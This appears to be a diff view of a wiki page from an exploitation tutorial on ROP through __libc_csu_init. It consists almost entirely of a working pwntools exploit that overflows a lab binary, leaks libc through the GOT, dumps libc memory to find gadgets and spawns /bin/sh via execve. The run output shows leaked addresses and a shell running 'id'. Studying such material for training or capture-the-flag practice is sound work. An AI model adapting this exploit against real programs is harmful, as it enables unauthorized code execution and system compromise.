Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagepy
titlerop.py
from pwn import *
from struct import *
 
#context.log_level = 'debug'
 
binary = ELF('./rop')

execve = 59

addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
 
addr_csu_init1 = 0x40062a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x400610
addr_main = 0x400560
 
stacksize = 0x400
base_stage = addr_bss + stacksize
 
p = process(binary.path)
p.recvn(10)
 
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Stage 1 - write(1,addr_got_start,8)
buf += p64(addr_csu_init1) 
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)

p.send(buf)
leak = p.recv()
libc_addr = u64(leak[:8])
log.info("__libc_start_main : " + hex(libc_addr))
 
libc_bin = ''
libc_readsize = 0x190000
 
buf = 'A' * 72
#Stage 2 - write(1, Address of leak libc, 0x190000)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
 
#Stage 2 - read(0, base_stage ,8)
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(8)
buf += p64(base_stage)
buf += p64(0)

#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)

p.send(buf)

with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))

 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("libc addr : " + hex(libc_addr))
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))

buf = "/bin/sh\x00"

p.send(buf)

##Stage 3 - execve("/bin/sh", NULL, NULL)
buf =  'A' * 72
buf += p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)

p.send(buf)
p.interactive()
Code Block
titleGet shell!
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop': pid 18402
[*] __libc_start_main : 0x7fd64e77b740
[+] Reading libc area from memory...: Done
[*] libc addr : 0x7fd64e77b740
[*] Gadget : pop rax; ret > 0x7fd64e78e544
[*] Gadget : pop rdi; ret > 0x7fd64e77c102
[*] Gadget : pop rsi; ret > 0x7fd64e77dbb5
[*] Gadget : pop rdx; ret > 0x7fd64e8700a6
[*] Gadget : syscall > 0x7fd64e77b8a4
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References

...